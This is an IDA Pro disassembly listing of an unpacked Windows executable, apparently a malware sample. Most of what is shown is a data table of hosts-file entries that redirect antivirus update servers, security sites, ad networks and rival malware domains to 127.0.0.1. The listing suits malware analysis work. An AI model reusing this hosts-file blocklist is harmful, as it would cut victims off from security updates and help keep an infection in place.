;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	96A35542D44F73DBB63C83FEE80636E8

; File Name   :	u:\work\96a35542d44f73dbb63c83fee80636e8_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00005000 (  20480.)
; Section size in file		: 00005000 (  20480.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_packed		segment	para public 'CODE' use32
		assume cs:_packed
		;org 401000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
dword_401000	dd 7C812ADEh, 0	; resolved to->KERNEL32.GetVersionExAdword_401008	dd 77C40E13h, 77C3F010h, 77C40AB1h, 0; resolved to->MSVCRT.fprintf					; .packed:00403BFAr ...
a127_0_0_1Munir	db 0Ah			; DATA XREF: .packed:004048BBo
		db '127.0.0.1',9,'munirah.nagitiriheiwu.net',0
		align 10h
a127_0_0_1Dirty	db 0Ah			; DATA XREF: .packed:004048B3o
		db '127.0.0.1',9,'dirty.eiheihre3.com',0
		align 10h
a127_0_0_1Bti_j	db 0Ah			; DATA XREF: .packed:004048ABo
		db '127.0.0.1',9,'bti.jeiahsdod.net',0
		align 10h
a127_0_0_1Jiets	db 0Ah			; DATA XREF: .packed:004048A3o
		db '127.0.0.1',9,'jiets.soidudrf.com',0
		align 10h
a127_0_0_1Russi	db 0Ah			; DATA XREF: .packed:0040489Bo
		db '127.0.0.1',9,'russia.blacktiehsbdcs.com',0
		align 4
a127_0_0_1Dhcp_	db 0Ah			; DATA XREF: .packed:00404890o
		db '127.0.0.1',9,'dhcp.vncsvr.com',0
		align 4
a127_0_0_1Mvl0a	db 0Ah			; DATA XREF: .packed:00404888o
		db '127.0.0.1',9,'mvl0an7.com',0
		align 4
a127_0_0_1Dep_m	db 0Ah			; DATA XREF: .packed:00404880o
		db '127.0.0.1',9,'dep.mvl0an7.com',0
		align 4
a127_0_0_1Ntkrn	db 0Ah			; DATA XREF: .packed:00404878o
		db '127.0.0.1',9,'ntkrnlpa.info',0
		align 4
a127_0_0_1Proxi	db 0Ah			; DATA XREF: .packed:00404870o
		db '127.0.0.1',9,'proxim.ntkrnlpa.info',0
a127_0_0_1Ircga	db 0Ah			; DATA XREF: .packed:00404868o
		db '127.0.0.1',9,'ircgalaxy.pl',0
a127_0_0_1Pro_0	db 0Ah			; DATA XREF: .packed:00404860o
		db '127.0.0.1',9,'proxima.ircgalaxy.pl',0
a127_0_0_1Pro_1	db 0Ah			; DATA XREF: .packed:00404858o
		db '127.0.0.1',9,'proxim.ircgalaxy.pl',0
		align 4
a127_0_0_1Zief_	db 0Ah			; DATA XREF: .packed:0040484Do
		db '127.0.0.1',9,'zief.pl',0
		align 10h
a127_0_0_1Eircd	db 0Ah			; DATA XREF: .packed:00404845o
		db '127.0.0.1',9,'eircd.zief.pl',0
		align 4
a127_0_0_1Www_n	db 0Ah			; DATA XREF: .packed:0040483Do
		db '127.0.0.1',9,'www.netau.dk',0
a127_0_0_1Netau	db 0Ah			; DATA XREF: .packed:00404835o
		db '127.0.0.1',9,'netau.dk',0
a127_0_0_1Mail7	db 0Ah			; DATA XREF: .packed:0040482Do
		db '127.0.0.1',9,'mail7.digitalwaves.co.nz',0
a127_0_0_1GtldS	db 0Ah			; DATA XREF: .packed:00404825o
		db '127.0.0.1',9,'gtld-servers.net',0
a127_0_0_1H_gtl	db 0Ah			; DATA XREF: .packed:0040481Do
		db '127.0.0.1',9,'h.gtld-servers.net',0
		align 4
a127_0_0_1Messa	db 0Ah			; DATA XREF: .packed:00404815o
		db '127.0.0.1',9,'messagingengine.com',0
		align 4
a127_0_0_1In1_s	db 0Ah			; DATA XREF: .packed:0040480Ao
		db '127.0.0.1',9,'in1.smtp.messagingengine.com',0
a127_0_0_1Hybri	db 0Ah			; DATA XREF: .packed:00404802o
		db '127.0.0.1',9,'hybridtx.com',0
a127_0_0_1Pool_	db 0Ah			; DATA XREF: .packed:004047FAo
		db '127.0.0.1',9,'pool.hybridtx.com',0
		align 4
a127_0_0_1Www_r	db 0Ah			; DATA XREF: .packed:004047F2o
		db '127.0.0.1',9,'www.rhythmswing.org',0
		align 4
a127_0_0_1Rhyth	db 0Ah			; DATA XREF: .packed:004047EAo
		db '127.0.0.1',9,'rhythmswing.org',0
		align 4
a127_0_0_1Pcsec	db 0Ah			; DATA XREF: .packed:004047DAo
		db '127.0.0.1',9,'pcsecuritylab.com',0
		align 4
a127_0_0_1Darks	db 0Ah			; DATA XREF: .packed:004047D2o
		db '127.0.0.1',9,'darksheekz.info',0
		align 10h
a127_0_0_1Ns2_d	db 0Ah			; DATA XREF: .packed:004047C7o
		db '127.0.0.1',9,'ns2.darksheekz.info',0
		align 10h
a127_0_0_1Proxy	db 0Ah			; DATA XREF: .packed:004047B7o
		db '127.0.0.1',9,'proxyisp.info',0
		align 4
a127_0_0_1M_pro	db 0Ah			; DATA XREF: .packed:004047AFo
		db '127.0.0.1',9,'m.proxyisp.info',0
		align 4
a127_0_0_1Mp0_i	db 0Ah			; DATA XREF: .packed:004047A7o
		db '127.0.0.1',9,'mp0.inetpc.net',0
		align 4
a127_0_0_1Inetp	db 0Ah			; DATA XREF: .packed:0040479Fo
		db '127.0.0.1',9,'inetpc.net',0
		align 4
a127_0_0_1DnlJp	db 0Ah			; DATA XREF: .packed:00404797o
		db '127.0.0.1',9,'dnl-jp4.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_0	db 0Ah			; DATA XREF: .packed:0040478Fo
		db '127.0.0.1',9,'dnl-jp3.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_1	db 0Ah			; DATA XREF: .packed:00404784o
		db '127.0.0.1',9,'dnl-jp2.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_2	db 0Ah			; DATA XREF: .packed:0040477Co
		db '127.0.0.1',9,'dnl-jp1.kaspersky-labs.com',0
		align 4
a127_0_0_1DnlKr	db 0Ah			; DATA XREF: .packed:00404774o
		db '127.0.0.1',9,'dnl-kr3.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_3	db 0Ah			; DATA XREF: .packed:0040476Co
		db '127.0.0.1',9,'dnl-kr2.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_4	db 0Ah			; DATA XREF: .packed:00404764o
		db '127.0.0.1',9,'dnl-kr1.kaspersky-labs.com',0
		align 4
a127_0_0_1DnlCn	db 0Ah			; DATA XREF: .packed:0040475Co
		db '127.0.0.1',9,'dnl-cn3.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_5	db 0Ah			; DATA XREF: .packed:00404754o
		db '127.0.0.1',9,'dnl-cn2.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_6	db 0Ah			; DATA XREF: .packed:0040474Co
		db '127.0.0.1',9,'dnl-cn1.kaspersky-labs.com',0
		align 4
a127_0_0_1DnlRu	db 0Ah			; DATA XREF: .packed:00404741o
		db '127.0.0.1',9,'dnl-ru5.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_7	db 0Ah			; DATA XREF: .packed:00404739o
		db '127.0.0.1',9,'dnl-ru2.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_8	db 0Ah			; DATA XREF: .packed:00404731o
		db '127.0.0.1',9,'dnl-ru1.kaspersky-labs.com',0
		align 4
a127_0_0_1DnlCd	db 0Ah			; DATA XREF: .packed:00404729o
		db '127.0.0.1',9,'dnl-cd1.kaspersky-labs.com',0
		align 4
a127_0_0_1DnlEu	db 0Ah			; DATA XREF: .packed:00404721o
		db '127.0.0.1',9,'dnl-eu13.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_9	db 0Ah			; DATA XREF: .packed:00404719o
		db '127.0.0.1',9,'dnl-eu12.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_10	db 0Ah			; DATA XREF: .packed:00404711o
		db '127.0.0.1',9,'dnl-eu11.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_11	db 0Ah			; DATA XREF: .packed:00404709o
		db '127.0.0.1',9,'dnl-eu10.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_12	db 0Ah			; DATA XREF: .packed:004046FEo
		db '127.0.0.1',9,'dnl-eu9.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_13	db 0Ah			; DATA XREF: .packed:004046F6o
		db '127.0.0.1',9,'dnl-eu8.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_14	db 0Ah			; DATA XREF: .packed:004046EEo
		db '127.0.0.1',9,'dnl-eu7.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_15	db 0Ah			; DATA XREF: .packed:004046E6o
		db '127.0.0.1',9,'dnl-eu6.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_16	db 0Ah			; DATA XREF: .packed:004046DEo
		db '127.0.0.1',9,'dnl-eu5.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_17	db 0Ah			; DATA XREF: .packed:004046D6o
		db '127.0.0.1',9,'dnl-eu4.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_18	db 0Ah			; DATA XREF: .packed:004046CEo
		db '127.0.0.1',9,'dnl-eu3.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_19	db 0Ah			; DATA XREF: .packed:004046C6o
		db '127.0.0.1',9,'dnl-eu2.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_20	db 0Ah			; DATA XREF: .packed:004046BBo
		db '127.0.0.1',9,'dnl-eu1.kaspersky-labs.com',0
		align 4
a127_0_0_1DnlUs	db 0Ah			; DATA XREF: .packed:004046B3o
		db '127.0.0.1',9,'dnl-us10.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_21	db 0Ah			; DATA XREF: .packed:004046ABo
		db '127.0.0.1',9,'dnl-us9.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_22	db 0Ah			; DATA XREF: .packed:004046A3o
		db '127.0.0.1',9,'dnl-us8.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_23	db 0Ah			; DATA XREF: .packed:0040469Bo
		db '127.0.0.1',9,'dnl-us7.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_24	db 0Ah			; DATA XREF: .packed:00404693o
		db '127.0.0.1',9,'dnl-us6.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_25	db 0Ah			; DATA XREF: .packed:0040468Bo
		db '127.0.0.1',9,'dnl-us5.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_26	db 0Ah			; DATA XREF: .packed:00404683o
		db '127.0.0.1',9,'dnl-us4.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_27	db 0Ah			; DATA XREF: .packed:00404678o
		db '127.0.0.1',9,'dnl-us3.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_28	db 0Ah			; DATA XREF: .packed:00404670o
		db '127.0.0.1',9,'dnl-us2.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_29	db 0Ah			; DATA XREF: .packed:00404668o
		db '127.0.0.1',9,'dnl-us1.kaspersky-labs.com',0
		align 4
a127_0_0_1Downl	db 0Ah			; DATA XREF: .packed:00404660o
		db '127.0.0.1',9,'download.rising.com.cn',0
		align 4
a127_0_0_1Updat	db 0Ah			; DATA XREF: .packed:00404658o
		db '127.0.0.1',9,'update7.jiangmin.com',0
a127_0_0_1Upd_0	db 0Ah			; DATA XREF: .packed:00404650o
		db '127.0.0.1',9,'update.rising.com.cn',0
a127_0_0_1Reg_r	db 0Ah			; DATA XREF: .packed:00404648o
		db '127.0.0.1',9,'reg.rising.com.cn',0
		align 4
a127_0_0_1Kvup_	db 0Ah			; DATA XREF: .packed:00404640o
		db '127.0.0.1',9,'kvup.jiangmin.com',0
		align 4
a127_0_0_1Scan_	db 0Ah			; DATA XREF: .packed:00404635o
		db '127.0.0.1',9,'scan.kingsoft.com',0
		align 4
a127_0_0_1Up_ri	db 0Ah			; DATA XREF: .packed:0040462Do
		db '127.0.0.1',9,'up.rising.com.cn',0
a127_0_0_1Forum	db 0Ah			; DATA XREF: .packed:00404625o
		db '127.0.0.1',9,'forum.ikaka.com',0
		align 10h
a127_0_0_1Zs_ki	db 0Ah			; DATA XREF: .packed:0040461Do
		db '127.0.0.1',9,'zs.kingsoft.com',0
		align 4
a127_0_0_1Www_3	db 0Ah			; DATA XREF: .packed:00404615o
		db '127.0.0.1',9,'www.360safe.com',0
		align 4
a127_0_0_1Tool_	db 0Ah			; DATA XREF: .packed:0040460Do
		db '127.0.0.1',9,'tool.ikaka.com',0
		align 4
a127_0_0_1Www_i	db 0Ah			; DATA XREF: .packed:00404605o
		db '127.0.0.1',9,'www.ikaka.com',0
		align 10h
a127_0_0_1Www_m	db 0Ah			; DATA XREF: .packed:004045FDo
		db '127.0.0.1',9,'www.mmsk.cn',0
		align 4
a127_0_0_1360sa	db 0Ah			; DATA XREF: .packed:004045F2o
		db '127.0.0.1',9,'360safe.com',0
		align 10h
a127_0_0_1Safe_	db 0Ah			; DATA XREF: .packed:004045EAo
		db '127.0.0.1',9,'safe.qq.com',0
		align 4
a127_0_0_1Ikaka	db 0Ah			; DATA XREF: .packed:004045E2o
		db '127.0.0.1',9,'ikaka.com',0
		align 10h
a127_0_0_1Mmsk_	db 0Ah			; DATA XREF: .packed:004045DAo
		db '127.0.0.1',9,'mmsk.cn',0
		align 4
a127_0_0_1Zgall	db 0Ah			; DATA XREF: .packed:004045D2o
		db '127.0.0.1',9,'zgallery.us',0
		align 4
a127_0_0_1Zchxs	db 0Ah			; DATA XREF: .packed:004045CAo
		db '127.0.0.1',9,'zchxsikpgz.biz',0
		align 4
a127_0_0_1Yhvoo	db 0Ah			; DATA XREF: .packed:004045C2o
		db '127.0.0.1',9,'yhvoo.eseconsult.info',0
		align 4
a127_0_0_1Yepjn	db 0Ah			; DATA XREF: .packed:004045BAo
		db '127.0.0.1',9,'yepjnddqpq.biz',0
		align 4
a127_0_0_1Ybbwx	db 0Ah			; DATA XREF: .packed:004045AFo
		db '127.0.0.1',9,'ybbwxlxytz.biz',0
		align 4
a127_0_0_1Www_z	db 0Ah			; DATA XREF: .packed:004045A7o
		db '127.0.0.1',9,'www.zgallery.us',0
		align 10h
a127_0_0_1Www_t	db 0Ah			; DATA XREF: .packed:0040459Fo
		db '127.0.0.1',9,'www.traff4ppc.biz',0
		align 10h
a127_0_0_1Www_s	db 0Ah			; DATA XREF: .packed:00404597o
		db '127.0.0.1',9,'www.spamcatchero.biz',0
a127_0_0_1Www_0	db 0Ah			; DATA XREF: .packed:0040458Fo
		db '127.0.0.1',9,'www.sp2admin.biz',0
a127_0_0_1Www_1	db 0Ah			; DATA XREF: .packed:00404587o
		db '127.0.0.1',9,'www.s-pics.biz',0
		align 4
a127_0_0_1Www_2	db 0Ah			; DATA XREF: .packed:0040457Fo
		db '127.0.0.1',9,'www.searchx.cc',0
		align 4
a127_0_0_1Www_p	db 0Ah			; DATA XREF: .packed:00404577o
		db '127.0.0.1',9,'www.procounter.biz',0
		align 4
a127_0_0_1Www_4	db 0Ah			; DATA XREF: .packed:0040456Co
		db '127.0.0.1',9,'www.picshunter.us',0
		align 4
a127_0_0_1Www_l	db 0Ah			; DATA XREF: .packed:00404564o
		db '127.0.0.1',9,'www.lattefresco.biz',0
		align 4
a127_0_0_1Ultra	db 0Ah			; DATA XREF: .packed:0040455Co
		db '127.0.0.1',9,'ultra-search.biz',0
a127_0_0_1Traff	db 0Ah			; DATA XREF: .packed:00404554o
		db '127.0.0.1',9,'traffmoney.biz',0
		align 4
a127_0_0_1Tra_0	db 0Ah			; DATA XREF: .packed:0040454Co
		db '127.0.0.1',9,'traffbucks.biz',0
		align 4
a127_0_0_1Tra_1	db 0Ah			; DATA XREF: .packed:00404544o
		db '127.0.0.1',9,'traffbest.biz',0
		align 4
a127_0_0_1Tra_2	db 0Ah			; DATA XREF: .packed:0040453Co
		db '127.0.0.1',9,'traff5all.biz',0
		align 10h
a127_0_0_1Sp2ad	db 0Ah			; DATA XREF: .packed:00404534o
		db '127.0.0.1',9,'sp2admin.biz',0
a127_0_0_1Snow4	db 0Ah			; DATA XREF: .packed:00404529o
		db '127.0.0.1',9,'snow410.info',0
a127_0_0_1SPics	db 0Ah			; DATA XREF: .packed:00404521o
		db '127.0.0.1',9,'s-pics.biz',0
		align 4
a127_0_0_1Searc	db 0Ah			; DATA XREF: .packed:00404519o
		db '127.0.0.1',9,'searchx.cc',0
		align 10h
a127_0_0_1Sea_0	db 0Ah			; DATA XREF: .packed:00404511o
		db '127.0.0.1',9,'search-biz.biz',0
		align 4
a127_0_0_1Preve	db 0Ah			; DATA XREF: .packed:00404509o
		db '127.0.0.1',9,'prevedtraf.biz',0
		align 4
a127_0_0_1Picsh	db 0Ah			; DATA XREF: .packed:00404501o
		db '127.0.0.1',9,'picshunter.us',0
		align 4
a127_0_0_1Musah	db 0Ah			; DATA XREF: .packed:004044F9o
		db '127.0.0.1',9,'musah.info',0
		align 4
a127_0_0_1GetAc	db 0Ah			; DATA XREF: .packed:004044F1o
		db '127.0.0.1',9,'get-access.host.sk',0
		align 4
a127_0_0_1Game4	db 0Ah			; DATA XREF: .packed:004044E6o
		db '127.0.0.1',9,'game4all.biz',0
a127_0_0_1Forli	db 0Ah			; DATA XREF: .packed:004044DEo
		db '127.0.0.1',9,'forlink.biz',0
		align 4
a127_0_0_1Exelo	db 0Ah			; DATA XREF: .packed:004044D6o
		db '127.0.0.1',9,'exeloads.info',0
		align 4
a127_0_0_1Dow_0	db 0Ah			; DATA XREF: .packed:004044CEo
		db '127.0.0.1',9,'download.jupitersatellites.biz',0
		align 4
a127_0_0_1Dow_1	db 0Ah			; DATA XREF: .packed:004044C6o
		db '127.0.0.1',9,'download.accessmedia.tv',0
		align 4
a127_0_0_1Cyber	db 0Ah			; DATA XREF: .packed:004044BEo
		db '127.0.0.1',9,'cyber-search.biz',0
a127_0_0_1Code_	db 0Ah			; DATA XREF: .packed:004044B6o
		db '127.0.0.1',9,'code.trasferimento.biz',0
		align 4
a127_0_0_1Cod_0	db 0Ah			; DATA XREF: .packed:004044AEo
		db '127.0.0.1',9,'code.jcash.biz',0
		align 4
a127_0_0_1Click	db 0Ah			; DATA XREF: .packed:004044A3o
		db '127.0.0.1',9,'clickfast.biz',0
		align 10h
a127_0_0_1Centr	db 0Ah			; DATA XREF: .packed:0040449Bo
		db '127.0.0.1',9,'centralgate.biz',0
		align 4
a127_0_0_1Braza	db 0Ah			; DATA XREF: .packed:00404493o
		db '127.0.0.1',9,'brazauskas.info',0
		align 4
a127_0_0_1Www_u	db 0Ah			; DATA XREF: .packed:0040448Bo
		db '127.0.0.1',9,'www.usafis.org',0
		align 4
a127_0_0_1Adser	db 0Ah			; DATA XREF: .packed:00404483o
		db '127.0.0.1',9,'adserving.cpxinteractive.com',0
a127_0_0_1Fastc	db 0Ah			; DATA XREF: .packed:0040447Bo
		db '127.0.0.1',9,'fastclick.net',0
		align 4
a127_0_0_1Fas_0	db 0Ah			; DATA XREF: .packed:00404473o
		db '127.0.0.1',9,'fastclick.com',0
		align 4
a127_0_0_1Popup	db 0Ah			; DATA XREF: .packed:0040446Bo
		db '127.0.0.1',9,'popuptraffic.com',0
a127_0_0_1Ads_a	db 0Ah			; DATA XREF: .packed:00404460o
		db '127.0.0.1',9,'ads.ad-flow.com',0
		align 4
a127_0_0_1AdFlo	db 0Ah			; DATA XREF: .packed:00404458o
		db '127.0.0.1',9,'ad-flow.com',0
		align 4
a127_0_0_1Dayra	db 0Ah			; DATA XREF: .packed:00404450o
		db '127.0.0.1',9,'dayrates.com',0
a127_0_0_1Commi	db 0Ah			; DATA XREF: .packed:00404448o
		db '127.0.0.1',9,'commission-junction.com',0
		align 10h
a127_0_0_1Serve	db 0Ah			; DATA XREF: .packed:00404440o
		db '127.0.0.1',9,'servedby.advertising.com',0
a127_0_0_1Adver	db 0Ah			; DATA XREF: .packed:00404438o
		db '127.0.0.1',9,'advertising.com',0
		align 10h
a127_0_0_1Www_a	db 0Ah			; DATA XREF: .packed:00404430o
		db '127.0.0.1',9,'www.adcycle.com',0
		align 4
a127_0_0_1Adtra	db 0Ah			; DATA XREF: .packed:00404428o
		db '127.0.0.1',9,'adtrade.net',0
		align 4
a127_0_0_1Adhos	db 0Ah			; DATA XREF: .packed:0040441Do
		db '127.0.0.1',9,'adhostcenter.com',0
a127_0_0_1Doubl	db 0Ah			; DATA XREF: .packed:00404415o
		db '127.0.0.1',9,'doubleclick.com',0
		align 4
a127_0_0_1Dou_0	db 0Ah			; DATA XREF: .packed:0040440Do
		db '127.0.0.1',9,'doubleclick.net',0
		align 4
a127_0_0_1Softw	db 0Ah			; DATA XREF: .packed:00404405o
		db '127.0.0.1',9,'softwaredoctor.com',0
		align 4
a127_0_0_1Www_5	db 0Ah			; DATA XREF: .packed:004043FDo
		db '127.0.0.1',9,'www.softwaredoctor.com',0
		align 4
a127_0_0_13bsof	db 0Ah			; DATA XREF: .packed:004043F5o
		db '127.0.0.1',9,'3bsoftware.com',0
		align 4
a127_0_0_1Www_6	db 0Ah			; DATA XREF: .packed:004043EDo
		db '127.0.0.1',9,'www.3bsoftware.com',0
		align 4
a127_0_0_1Spywa	db 0Ah			; DATA XREF: .packed:004043E5o
		db '127.0.0.1',9,'spywareno.com',0
		align 4
a127_0_0_1Www_7	db 0Ah			; DATA XREF: .packed:004043DAo
		db '127.0.0.1',9,'www.spywareno.com',0
		align 4
a127_0_0_1Spyto	db 0Ah			; DATA XREF: .packed:004043D2o
		db '127.0.0.1',9,'spytoaster.com',0
		align 10h
a127_0_0_1Www_8	db 0Ah			; DATA XREF: .packed:004043CAo
		db '127.0.0.1',9,'www.spytoaster.com',0
		align 10h
a127_0_0_1Spy_0	db 0Ah			; DATA XREF: .packed:004043C2o
		db '127.0.0.1',9,'spyware-adware-removal.net',0
		align 4
a127_0_0_1Www_9	db 0Ah			; DATA XREF: .packed:004043BAo
		db '127.0.0.1',9,'www.spyware-adware-removal.net',0
		align 4
a127_0_0_1123Sp	db 0Ah			; DATA XREF: .packed:004043B2o
		db '127.0.0.1',9,'123-spyware-remover.com',0
		align 4
a127_0_0_1Ww_10	db 0Ah			; DATA XREF: .packed:004043AAo
		db '127.0.0.1',9,'www.123-spyware-remover.com',0
		align 10h
a127_0_0_1Nomor	db 0Ah			; DATA XREF: .packed:004043A2o
		db '127.0.0.1',9,'nomorespyware.net',0
		align 10h
a127_0_0_1Ww_11	db 0Ah			; DATA XREF: .packed:00404397o
		db '127.0.0.1',9,'www.nomorespyware.net',0
		align 4
a127_0_0_1Elimi	db 0Ah			; DATA XREF: .packed:0040438Fo
		db '127.0.0.1',9,'elimiware.com',0
		align 10h
a127_0_0_1Www_e	db 0Ah			; DATA XREF: .packed:00404387o
		db '127.0.0.1',9,'www.elimiware.com',0
		align 10h
a127_0_0_1Ridad	db 0Ah			; DATA XREF: .packed:0040437Fo
		db '127.0.0.1',9,'ridadware.org',0
		align 4
a127_0_0_1Ww_12	db 0Ah			; DATA XREF: .packed:00404377o
		db '127.0.0.1',9,'www.ridadware.org',0
		align 4
a127_0_0_1Spy_1	db 0Ah			; DATA XREF: .packed:0040436Fo
		db '127.0.0.1',9,'spywareremoval.ws',0
		align 4
a127_0_0_1Ww_13	db 0Ah			; DATA XREF: .packed:00404367o
		db '127.0.0.1',9,'www.spywareremoval.ws',0
		align 10h
a127_0_0_1Compa	db 0Ah			; DATA XREF: .packed:0040435Fo
		db '127.0.0.1',9,'compare-spyware.com',0
		align 10h
a127_0_0_1Www_c	db 0Ah			; DATA XREF: .packed:00404354o
		db '127.0.0.1',9,'www.compare-spyware.com',0
		align 4
a127_0_0_1Compu	db 0Ah			; DATA XREF: .packed:0040434Co
		db '127.0.0.1',9,'computerspywarecheck.com',0
a127_0_0_1Ww_14	db 0Ah			; DATA XREF: .packed:00404344o
		db '127.0.0.1',9,'www.computerspywarecheck.com',0
a127_0_0_1Spy_2	db 0Ah			; DATA XREF: .packed:0040433Co
		db '127.0.0.1',9,'spyware-control.com',0
		align 10h
a127_0_0_1Ww_15	db 0Ah			; DATA XREF: .packed:00404334o
		db '127.0.0.1',9,'www.spyware-control.com',0
		align 4
a127_0_0_1FreeS	db 0Ah			; DATA XREF: .packed:0040432Co
		db '127.0.0.1',9,'free-spyware.net',0
a127_0_0_1Www_f	db 0Ah			; DATA XREF: .packed:00404324o
		db '127.0.0.1',9,'www.free-spyware.net',0
a127_0_0_1Digit	db 0Ah			; DATA XREF: .packed:0040431Co
		db '127.0.0.1',9,'digitalreservoir.com',0
a127_0_0_1Www_d	db 0Ah			; DATA XREF: .packed:00404311o
		db '127.0.0.1',9,'www.digitalreservoir.com',0
a127_0_0_1TheSp	db 0Ah			; DATA XREF: .packed:00404309o
		db '127.0.0.1',9,'the-spyware-zone.com',0
a127_0_0_1Ww_16	db 0Ah			; DATA XREF: .packed:00404301o
		db '127.0.0.1',9,'www.the-spyware-zone.com',0
a127_0_0_1Spybo	db 0Ah			; DATA XREF: .packed:004042F9o
		db '127.0.0.1',9,'spybotfinder.com',0
a127_0_0_1Ww_17	db 0Ah			; DATA XREF: .packed:004042F1o
		db '127.0.0.1',9,'www.spybotfinder.com',0
a127_0_0_1Fre_0	db 0Ah			; DATA XREF: .packed:004042E9o
		db '127.0.0.1',9,'free-spyware-scan.org',0
		align 4
a127_0_0_1Ww_18	db 0Ah			; DATA XREF: .packed:004042E1o
		db '127.0.0.1',9,'www.free-spyware-scan.org',0
		align 10h
a127_0_0_1Wwwad	db 0Ah			; DATA XREF: .packed:004042D9o
		db '127.0.0.1',9,'wwwadawear.com',0
		align 4
a127_0_0_1Www_w	db 0Ah			; DATA XREF: .packed:004042CEo
		db '127.0.0.1',9,'www.wwwadawear.com',0
		align 4
a127_0_0_1Noadw	db 0Ah			; DATA XREF: .packed:004042C6o
		db '127.0.0.1',9,'noadware.com--e.com',0
		align 4
a127_0_0_1Ww_19	db 0Ah			; DATA XREF: .packed:004042BEo
		db '127.0.0.1',9,'www.noadware.com--e.com',0
		align 10h
a127_0_0_1Prosp	db 0Ah			; DATA XREF: .packed:004042B6o
		db '127.0.0.1',9,'prospywareremover.com',0
		align 4
a127_0_0_1Ww_20	db 0Ah			; DATA XREF: .packed:004042AEo
		db '127.0.0.1',9,'www.prospywareremover.com',0
		align 4
a127_0_0_1Ww_21	db 0Ah			; DATA XREF: .packed:004042A6o
		db '127.0.0.1',9,'www.usagc.org',0
		align 4
a127_0_0_1Ww_22	db 0Ah			; DATA XREF: .packed:00404296o
		db '127.0.0.1',9,'www.winfixer2006.com',0
a127_0_0_1Ww_23	db 0Ah			; DATA XREF: .packed:00404283o
		db '127.0.0.1',9,'www.windrivesafe.com',0
a127_0_0_1Ww_24	db 0Ah			; DATA XREF: .packed:0040427Bo
		db '127.0.0.1',9,'www.windrivecleaner.com',0
		align 4
a127_0_0_1Ww_25	db 0Ah			; DATA XREF: .packed:00404273o
		db '127.0.0.1',9,'www.winantiviruspro.com',0
		align 10h
a127_0_0_1Ww_26	db 0Ah			; DATA XREF: .packed:00404263o
		db '127.0.0.1',9,'www.winantispyware.com',0
		align 4
a127_0_0_1Ww_27	db 0Ah			; DATA XREF: .packed:0040425Bo
		db '127.0.0.1',9,'www.winantispy.com',0
		align 4
a127_0_0_1Ww_28	db 0Ah			; DATA XREF: .packed:00404253o
		db '127.0.0.1',9,'www.winantispam.com',0
		align 4
a127_0_0_1Ww_29	db 0Ah			; DATA XREF: .packed:00404248o
		db '127.0.0.1',9,'www.win-virus-pro.com',0
		align 4
a127_0_0_1Ww_30	db 0Ah			; DATA XREF: .packed:00404240o
		db '127.0.0.1',9,'www.win-anti-virus-pro.com',0
		align 10h
a127_0_0_1Ww_31	db 0Ah			; DATA XREF: .packed:00404238o
		db '127.0.0.1',9,'www.utils.winfixer.com',0
		align 4
a127_0_0_1Ww_32	db 0Ah			; DATA XREF: .packed:00404230o
		db '127.0.0.1',9,'www.systemdoctor.com',0
a127_0_0_1Winso	db 0Ah			; DATA XREF: .packed:00404210o
		db '127.0.0.1',9,'winsoftware.com',0
		align 10h
a127_0_0_1Winfi	db 0Ah			; DATA XREF: .packed:00404205o
		db '127.0.0.1',9,'winfixer2006.com',0
a127_0_0_1Win_0	db 0Ah			; DATA XREF: .packed:004041FDo
		db '127.0.0.1',9,'winfixer.com',0
a127_0_0_1Winan	db 0Ah			; DATA XREF: .packed:004041F5o
		db '127.0.0.1',9,'winantivirus.com',0
a127_0_0_1Win_1	db 0Ah			; DATA XREF: .packed:004041EDo
		db '127.0.0.1',9,'winantispyware.com',0
		align 10h
a127_0_0_1Utils	db 0Ah			; DATA XREF: .packed:004041E5o
		db '127.0.0.1',9,'utils.winfixer.com',0
		align 10h
a127_0_0_1Uti_0	db 0Ah			; DATA XREF: .packed:004041DDo
		db '127.0.0.1',9,'utils.winantivirus.com',0
		align 4
a127_0_0_1Uti_1	db 0Ah			; DATA XREF: .packed:004041D5o
